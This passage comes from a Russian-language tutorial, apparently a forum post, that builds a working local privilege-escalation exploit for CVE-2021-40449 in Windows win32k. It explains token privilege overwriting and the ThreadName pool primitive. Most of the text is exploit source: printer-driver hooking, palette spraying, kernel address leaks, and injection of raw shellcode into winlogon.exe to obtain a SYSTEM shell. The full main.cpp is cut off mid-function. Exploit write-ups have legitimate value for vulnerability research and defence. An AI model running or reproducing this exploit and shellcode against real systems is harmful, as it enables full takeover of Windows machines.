раз такой трюк не пройдёт. Всё что у нас есть это вызов адреса функции и один
аргумент для неё.
Если вы вниматьельно смотрели на вызов адреса из памяти в функции GreResetDCInternal, то обратили внимание на передеваемые в этот вызов аргументы:
C++:Copy to clipboard
(**(code **)(lVar1 + 0xab8))
(*(undefined8 *)(lVar1 + 0x708),
*(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));
Как видите, первый аргумент, берётся из того же объекта что и указатель на вызываемую функцию. После повторого вызова GreResetDCInternal, и освобождения DCOBJ, благодаря использованию примитива выделения палеток контролируемого размера и содержания, мы можем контролировать не только адрес вызываемой фукнции но и первый аргумент! Идеальное место для использования RtlSetAllBits.
Раз уж мы определились с тем что будем вызывать, давайте определимся с аргументом. А для этого, я чуть подробнее остановлюсь на том как работает изменение привилегий токена процесса:
Изменение привилегий токена процесса
Для начала давайте взглянем на структуру _TOKEN:
C++:Copy to clipboard
struct _TOKEN
{
struct _TOKEN_SOURCE TokenSource; //0x0
struct _LUID TokenId; //0x10
struct _LUID AuthenticationId; //0x18
struct _LUID ParentTokenId; //0x20
union _LARGE_INTEGER ExpirationTime; //0x28
struct _ERESOURCE* TokenLock; //0x30
struct _LUID ModifiedId; //0x38
struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40
struct _SEP_AUDIT_POLICY AuditPolicy; //0x58
ULONG SessionId; //0x78
ULONG UserAndGroupCount; //0x7c
ULONG RestrictedSidCount; //0x80
ULONG VariableLength; //0x84
...
}
(Все структуры nt беру с vergiliusproject.com, очень полезный ресурс)
Я убрал не интересную нам часть структуры. Обратите вниманиме на поле Privileges, и на его смещение(0x40). Поле представляет собой структуру _SEP_TOKEN_PRIVILEGES:
C++:Copy to clipboard
//0x18 bytes (sizeof)
struct _SEP_TOKEN_PRIVILEGES
{
ULONGLONG Present; //0x0
ULONGLONG Enabled; //0x8
ULONGLONG EnabledByDefault; //0x10
};
Я запустил powershell.exe на виртуальной машине, чтобы взглянуть на структуру
_SEP_TOKEN_PRIVILEGES в реальном процессе. Вот как выглядит вывод команды
whoami /all:
А так выглядит структура _SEP_TOKEN_PRIVILEGES, для процесса powershell.exe:
Теперь давайте сравним _SEP_TOKEN_PRIVILEGES у процесса powershell.exe и
system:
Красным подчёркнуты поля Present и Enabled у _SEP_TOKEN_PRIVILEGES системы, а
зелёным - у powershell.exe. Значения полей у powershell.exe - значительно
меньше.
Я заменил поля Present и Enabled для powershell на системные(изменённые поля
отмечены синим). Теперь давайте взглянем на вывод whoami /all, для процесса
powershell.exe с изменёнными полями:
Привилегии совпадают с системными! Надеюсь суть того, как работает техника изменения токена процесса теперь ясна.
Фейковый BitMapHeader
Осталось разобраться с ещё парой деталей, одна из них - фейковый BitMapHeader.
Дело в том что в функцию RtlSetAllBits(), мы передаём указатель на RTL_BITMAP:
C++:Copy to clipboard
NTSYSAPI VOID RtlSetAllBits(
[in] PRTL_BITMAP BitMapHeader
);
Для создания структуры RTL_BITMAP в памяти, мы воспользуемся примитивом
ThreadName. Есть статья от автора
техники,
но она на английском и достаточно длинная, так что я вкратце опишу то, как это
работает:
Давайте взглянем на структуру _ETHREAD:
C++:Copy to clipboard
//0x810 bytes (sizeof)
struct _ETHREAD
{
struct _KTHREAD Tcb; //0x0
union _LARGE_INTEGER CreateTime; //0x5f0
union
{
union _LARGE_INTEGER ExitTime; //0x5f8
struct _LIST_ENTRY KeyedWaitChain; //0x5f8
};
...
struct _UNICODE_STRING* ThreadName; //0x7d0
...
};
Я убрал лишнее, оставив только ThreadName. Это указатель на _UNICODE_STRING.
Это поле в _ETHREAD, изменяется функцией
kernelbase.dll!SetThreadDescription
:
C++:Copy to clipboard
HRESULT __stdcall SetThreadDescription(HANDLE hThread, PCWSTR lpThreadDescription) {
NTSTATUS v3; // eax
_UNICODE_STRING DestinationString; // [rsp+20h] [rbp-18h] BYREF
v3 = RtlInitUnicodeStringEx(&DestinationString, lpThreadDescription);
if ( v3 >= 0 )
v3 = NtSetInformationThread(hThread, ThreadDescriptorTableEntry|0x20, &DestinationString, 0x10u);
return v3 | 0x10000000;
}
Вся функция по сути сводится к вызову nt!NtSetInformationThread
, вот
листинг:
C++:Copy to clipboard
NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength)
{
...
v36 = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, LOWORD(Src[0]) + 0x10i64, 'mNhT');
...
}
Опять же, я убрал всё лишнее. Тут нам интересен только один вызов - выделение памяти в NonPagedPoolNx, нужного размера(согласно длинне строки) и тэгом ThNm.
Тоесть при вызове NtSetInformationThread, мы можем вызвать выделение в NonPagedPoolNx, контролируемого размера и содержания. Кроме того зная размер и тэг, мы можем найти адрес полученого выделения, при помощи NtQuerySystemInformation. Вот код, который выполнит подобный поиск:
C++:Copy to clipboard
typedef struct {
DWORD64 Address;
DWORD64 PoolSize;
char PoolTag[4];
char Padding[4];
}
BIG_POOL_INFO, *PBIG_POOL_INFO;
ULONG_PTR LookForThreadNamePoolAddress(PVOID pSystemBigPoolInfoBuffer, DWORD64 dwExpectedSize) {
ULONG_PTR StartAddress = (ULONG_PTR)pSystemBigPoolInfoBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *( (PDWORD)StartAddress ) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
while (ptr < EndAddress) {
PBIG_POOL_INFO info = (PBIG_POOL_INFO) ptr;
if( strncmp( info->PoolTag, "ThNm", 4)==0 && dwExpectedSize==info->PoolSize ) {
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
return 0;
}
Что-ж, на данный момент мы разобрали почти все основные моменты. Остальные детали я разъясню по ходу написания. Давайте писать эксплоит!
Пишем эксплоит
Первым делом - шаблон:
C++:Copy to clipboard
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>
int main() {
printf("[*] Starting exploit for CVE-2021-40449 Windows 10.0.17763.1757\n");
return 0;
}
Теперь получим pid и подгрузим библиоткети:
C++:Copy to clipboard
pid = GetCurrentProcessId();
printf("[*] Current process pid: %i\n", pid);
HMODULE nt = LoadLibraryA("ntdll.dll");
HMODULE kernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
Получим адресс ntoskrnl.exe. Довольно просто метод, с использованием EnumDeviceDrivers:
CoffeeScript:Copy to clipboard
ULONG lpcbNeeded;
EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
DWORD64* drivers = (DWORD64*)malloc(lpcbNeeded);
if (!EnumDeviceDrivers((LPVOID*)drivers, lpcbNeeded, &lpcbNeeded)) {
printf("[!] Can't get kernel address, EnumDeviceDrivers() error!\n");
return 1;
}
DWORD64 kernelAddr = drivers[0]; // it's ntoskrnl.exe
free(drivers);
printf("[+] Got kernel address: 0x%llx\n", kernelAddr);
Теперь найдём NtQuerySystemInformation n NtSetInformationThread. Кроме того сразу получим адресс RtlSetAllBits:
C++:Copy to clipboard
fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(nt, "NtQuerySystemInformation");
fnNtSetInformationThread = (_NtSetInformationThread)GetProcAddress(nt, "NtSetInformationThread");
DWORD64 offRtlSetAllBits = (DWORD64)GetProcAddress(kernel, "RtlSetAllBits");
fnRtlSetAllBits = (DWORD64)kernelAddr + offRtlSetAllBits - (DWORD64)kernel;
printf("[+] Got needed function addresses: \n --> NtQuerySystemInformation: 0x%llx\n --> NtSetInformationThread: 0x%llx\n --> RtlSetAllBits: 0x%llx\n", DWORD64)fnNtQuerySystemInformation, (DWORD64)fnNtSetInformationThread, (DWORD64)fnRtlSetAllBits);
Следующим нам нужно получить адрес токена текущего процесса. Для этого сначала
добавим функцию которая получая хендлер объекта, вернёт нам его адресс в
памяти ядра.
Я проставил цифры в ключевых местах:
C++:Copy to clipboard
DWORD64 PtrFromHandle(HANDLE handle, DWORD type) {
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20); //1
ULONG returnLength = 0x20;
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength); // 2
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(returnLength);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength); // 3
for (int i = 0; i < handleInfo->NumberOfHandles; i++) { // 4
if (handleInfo->Handles[i].UniqueProcessId = pid && handleInfo->Handles[i].ObjectTypeIndex == type && handle == (HANDLE)handleInfo->Handles[i].HandleValue) {
DWORD64 ptr = (DWORD64)handleInfo->Handles[i].Object;
free(handleInfo);
return ptr;
}
}
free(handleInfo);
return 0;
}
1 - Создаём объект SYSTEM_HANDLE_INFORMATION:
C++:Copy to clipboard
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
2 - Первый вызов NtQuerySystemInformation, нужен для того чтобы узнать
сколько места надо выделить под второй SYSTEM_HANDLE_INFORMATION
3 - Второй вызов NtQuerySystemInformation
4 - Итерируемся по созданному после 2 шага объекту, ищем нужный нам
элемент. В случае успеха возвращаем адрес
Возвращаемся в main и получаем адресс токена:
C++:Copy to clipboard
HANDLE token;
DWORD64 tokenAddress = 0;
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (process == NULL) { printf("[!] Can't open current process\n"); return 1; }
if (!OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES, &token)) { printf("[!] Can't open current process token\n"); return 1; }
for (int i = 0; i < 0x100; i++) {
tokenAddress = PtrFromHandle(token, 0x5);
if (tokenAddress != 0) { printf("[+] Current process token address: 0x%llx\n", tokenAddress); break; }
}
Настал момент создать фейковый битмап. Я уже объяснял как это происходит, но есть одна деталь которую я не упомянул:
C++:Copy to clipboard
DWORD threadId;
HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)NULL, 0, CREATE_SUSPENDED, &threadId);
LPVOID buf = VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_READWRITE);
memset(buf, 0x41, 0x20);
*(DWORD64*)buf = 0x80;
*(DWORD64*)((DWORD64)buf + 8) = (tokenAddress + 0x40); // Тут
UNICODE_STRING payload = {};
payload.Buffer = (PWSTR)buf;
payload.Length = 0x1000;
payload.MaximumLength = 0xffff;
DWORD outSize;
DWORD size = 1024 * 1024;
LPVOID infoBuf = LocalAlloc(LPTR, size);
bool found = false;
fnNtSetInformationThread(hThread, (THREADINFOCLASS)ThreadNameInformation, &payload, 0x10);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, infoBuf, size, &outSize);
PBIG_POOL_INFO info;
ULONG_PTR start = (ULONG_PTR)infoBuf + 8;
ULONG_PTR end = start + *((PDWORD)infoBuf) * sizeof(BIG_POOL_INFO);
while (start < end) {
info = (PBIG_POOL_INFO)start;
if (strncmp(info->PoolTag, "ThNm", 4) == 0 && info->PoolSize == (payload.Length + sizeof(UNICODE_STRING))) {
fakeBitmap = (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
found = true;
break;
}
start += sizeof(BIG_POOL_INFO);
}
if (found == false) {
printf("[!] Can't leak address of fake bitmap!\n");
return 1;
}
else {
printf("[+] Created fake bitmap at: 0x%llx\n", fakeBitmap);
}
Мы помещаем в buf + 8, адрес токена + 0x40, тоесть адрес поля Privileges из структуры _TOKEN
Теперь установим хук. Функция будет идентичная той, что мы применяли раньше:
C++:Copy to clipboard
BOOL SetUpHook() {
DWORD pcbNeeded, pcbRet;
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }
PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
printf("[!] Can't enum printers!\n");
exit(-1);
}
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
info = &printerEnum[i];
printf("[*] Printer: %ws\n", info->pPrinterName);
if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
printf(" --- Can't open printer!\n");
continue;
} else {
printf(" --> Opened printer!\n");
}
printerName = _wcsdup(info->pPrinterName);
GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
printf(" --- Can't get printer driver\n");
continue;
} else {
printf(" --> Got printer driver: %ws\n", driverInfo->pDriverPath);
}
driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (driver == NULL) { printf(" --- Can't load printer driver\n"); continue; }
else { printf(" --> Loaded driver!\n"); }
DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
printf(" --- Can't enable driver!\n");
continue;
} else {
printf(" --> Enabled driver!\n");
}
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
printf(" --- Can't unprotect priver callback table\n");
continue;
}
for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
for (int n = 0; n < drvEnableData.c; n++) {
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
if (hooks[i].index == iFunc) {
origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
break;
}
}
}
DrvDisableDriver();
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
return true;
}
return false;
}
Вызов функции SetUpHook():
C++:Copy to clipboard
if(!SetUpHook()) {
printf("[!] Couldn't hook function!\n");
return 1;
} else {
printf("[+] Hooked a function!\n");
}
Перед там как тригерить уязвимость, надо кое-что изменить в ранее использованной fnHook:
C++:Copy to clipboard
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
printf("[+] Now spray\n");
int size = 0xe20;
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
DWORD64* ptr = (DWORD64*)((DWORD64)lPalette + 4);
for (int i = 0; i < 0x120; i++) { ptr[i] = fakeBitmap; } // 1
for (int i = 0x120; i < (palette_size - 4) / 8; i++) { ptr[i] = fnRtlSetAllBits; } // 2
lPalette->palNumEntries = (WORD)palette_entry_count;
lPalette->palVersion = 0x300;
for (int i = 0; i < 0x5000; i++) { CreatePalette(lPalette); }
printf("[+] Spray is done\n");
}
return ret;
}
Как я уже говорил ранее, мы можем контролировать не только размер но и контент палеток. Используя эту возможность, в местах помеченных цифрами 1 и 2 мы устанавливаем в палетку указатель на фейковый битмап и указатель на функцию RtlSetAllBits.
Насталов время для вызова уязвимости:
C++:Copy to clipboard
hdc = CreateDCW(NULL, printerName, NULL, NULL);
if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }
flag = true;
ResetDCW(hdc, NULL);
Sleep(1000);
Теперь, после изменения токена, мы можен инжектировать шеллкод в память процесса winlogon.exe. Вот функция Inject():
C++:Copy to clipboard
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
int Inject() {
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = 0;
if (Process32First(snap, &processEntry)) {
while (Process32Next(snap, &processEntry)) {
if (wcscmp(processEntry.szExeFile, L"winlogon.exe") == 0) {
pid = processEntry.th32ProcessID;
break;
}
}
}
if (pid == 0) {
printf("[!] Can't find winlogon.exe\n");
exit(-1);
}
CloseHandle(snap);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (process == NULL) {
printf("[!] Can't open winlogon.exe\n");
exit(-1);
}
LPVOID payload = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (payload == NULL) {
printf("[!] Can't alloc memory in winlogon.exe\n");
exit(-1);
}
WriteProcessMemory(process, payload, shellcode, sizeof(shellcode), 0);
CreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)payload, 0, 0, 0);
printf("[+] Enjoy system shell!\n");
return 0;
}
Вот полный, итоговый код эксплойта:
inc.h:
C++:Copy to clipboard
#include <Windows.h>
#define SystemHandleInformation 0x10
#define ThreadNameInformation 0x26
#define SystemBigPoolInformation 0x42
typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
CHAR PoolTag[4];
CHAR Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;
typedef struct _hookData
{
ULONG index;
LPVOID func;
} hookData;
typedef BOOL(*_DrvEnableDriver)(
ULONG iEngineVersion,
ULONG cj,
DRVENABLEDATA* pded);
typedef DHPDEV(*_DrvEnablePDEV)(
DEVMODEW* pdm,
LPWSTR pwszLogAddress,
ULONG cPat,
HSURF* phsurfPatterns,
ULONG cjCaps,
ULONG* pdevcaps,
ULONG cjDevInfo,
DEVINFO* pdi,
HDEV hdev,
LPWSTR pwszDeviceName,
HANDLE hDriver);
typedef VOID(*_VoidFunc)();
typedef NTSTATUS(*_NtSetInformationThread)(
HANDLE threadHandle,
THREADINFOCLASS threadInformationClass,
PVOID threadInformation,
ULONG threadInformationLength);
typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
main.cpp:
C++:Copy to clipboard
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <Psapi.h>
#include <winternl.h>
#include <winddi.h>
#include "inc.h"
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
_NtQuerySystemInformation fnNtQuerySystemInformation;
_NtSetInformationThread fnNtSetInformationThread;
_VoidFunc origFuncs[INDEX_LAST];
HDC hdc;
DWORD64 fnRtlSetAllBits;
DWORD64 fakeBitmap;
LPWSTR printerName;
int pid;
BOOL flag = false;
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
printf("[+] Now spray\n");
int size = 0xe20;
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
DWORD64* ptr = (DWORD64*)((DWORD64)lPalette + 4);
for (int i = 0; i < 0x120; i++) { ptr[i] = fakeBitmap; }
for (int i = 0x120; i < (palette_size - 4) / 8; i++) { ptr[i] = fnRtlSetAllBits; }
lPalette->palNumEntries = (WORD)palette_entry_count;
lPalette->palVersion = 0x300;
for (int i = 0; i < 0x5000; i++) { CreatePalette(lPalette); }
printf("[+] Spray is done\n");
}
return ret;
}
hookData hooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};
int Inject() {
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = 0;
if (Process32First(snap, &processEntry)) {
while (Process32Next(snap, &processEntry)) {
if (wcscmp(processEntry.szExeFile, L"winlogon.exe") == 0) {
pid = processEntry.th32ProcessID;
break;
}
}
}
if (pid == 0) {
printf("[!] Can't find winlogon.exe\n");
exit(-1);
}
CloseHandle(snap);
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if (process == NULL) {
printf("[!] Can't open winlogon.exe\n");
exit(-1);
}
LPVOID payload = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (payload == NULL) {
printf("[!] Can't alloc memory in winlogon.exe\n");
exit(-1);
}
WriteProcessMemory(process, payload, shellcode, sizeof(shellcode), 0);
CreateRemoteThread(process, 0, 0, (LPTHREAD_START_ROUTINE)payload, 0, 0, 0);
printf("[+] Enjoy system shell!\n");
return 0;
}
DWORD64 PtrFromHandle(HANDLE handle, DWORD type) {
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
ULONG returnLength = 0x20;
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength);
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(returnLength);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength);
for (int i = 0; i < handleInfo->NumberOfHandles; i++) {
if (handleInfo->Handles[i].UniqueProcessId = pid && handleInfo->Handles[i].ObjectTypeIndex == type && handle == (HANDLE)handleInfo->Handles[i].HandleValue) {
DWORD64 ptr = (DWORD64)handleInfo->Handles[i].Object;
free(handleInfo);
return ptr;
}
}
free(handleInfo);
return 0;
}
BOOL SetUpHook() {
DWORD pcbNeeded, pcbRet;
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }
PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
printf("[!] Can't enum printers!\n");
exit(-1);
}
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
info = &printerEnum[i];
printf("[*] Printer: %ws\n", info->pPrinterName);
if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
printf(" --- Can't open printer!\n");
continue;
} else {
printf(" --> Opened printer!\n");
}
printerName = _wcsdup(info->pPrinterName);
GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
printf(" --- Can't get printer driver\n");
continue;
} else {
printf(" --> Got printer driver: %ws\n", driverInfo->pDriverPath);
}
driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (driver == NULL) { printf(" --- Can't load printer driver\n"); continue; }
